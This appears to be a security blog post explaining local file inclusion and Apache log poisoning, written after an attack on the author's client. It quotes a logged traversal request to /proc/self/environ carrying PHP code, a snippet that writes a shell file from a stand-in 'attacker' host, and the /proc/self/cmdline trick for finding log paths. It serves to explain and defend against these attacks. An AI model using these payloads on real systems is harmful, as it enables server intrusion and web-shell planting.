Having encountered the last LFI attack on my client, I researched a little more on ways that LFI can be used to exploit different scenarios. There is one other main adaptation of the concept which has been published by various sources, including milw0rm – log poisoning.
It would seem that Apache access logs as well as error logs can be injected with code such that when the log file is accessed, the code is parsed. Which means to say, the previous exploit that was used -
92.241.137.238 - - [07/Mar/2009:23:36:02 +0000] "GET /?p=../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 15491 "-" "<? $o=fopen(\"testa.php\",\"a+\"); fwrite($o,\"stefo je king\"); fclose($o); ?>"
was exploitable in two different ways. The first way was described in the previous post. The second way would be that instead of writing “stefo je king”, if an actual PHP script like
$o = fopen("shell.php","w"); fwrite($o,"http://attacker/shell.txt");fclose($o);
was used, the the attacker could have tried to used the traversal attack to access a log file and get the shell script on the server again.
Another interesting piece of information I found was – let’s say Apache was installed in a non-default location and logs were therefore placed in a folder that was unknown to you. You have tried the default list of folders to search for and are out of ideas. Of course, the site is vulnerable to LFI. You could inject a piece of code to read from -
/proc/self/cmdline
Like /proc/self/environ shows the current environment status, /proc/self/cmdline shows the command line argument that spawned the process calling it. For example, if you’re calling it from shell, you’ll get “-bash” as the response. If Apache calls it, you’ll get the full path where Apache is installed. And you will then know where to find the logs.
As rhican rightly asserts, “good hosters should block access to /proc imho there’s tons of stuff a php script as no business there”.